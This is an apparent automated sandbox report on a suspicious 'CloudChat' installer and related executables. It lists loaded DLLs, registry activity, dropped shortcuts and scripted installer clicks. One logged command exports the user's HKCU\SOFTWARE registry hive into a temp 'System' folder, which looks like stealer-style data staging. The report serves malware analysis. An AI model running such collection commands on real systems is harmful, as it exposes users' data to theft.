Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process created: C:\Windows\SysWOW64\reg.exe "reg" EXPORT "HKEY_CURRENT_USER\SOFTWARE" "C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg" /y	Jump to behavior

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: pywintypes38.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wintab32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: csunsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ucrtbased.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: aep.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: atasi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: swift.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: nfhwcrhk.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: nuronssl.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: surewarehook.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: ubsec.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: adsnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: CloudChat.lnk.9.dr	LNK file: ..\..\..\..\..\CloudChat Desktop\CloudChat.exe
Source: Uninstall CloudChat.lnk.9.dr	LNK file: ..\..\..\..\..\CloudChat Desktop\unins000.exe
Source: CloudChat.lnk0.9.dr	LNK file: ..\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Automated click: Install
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Automated click: Next

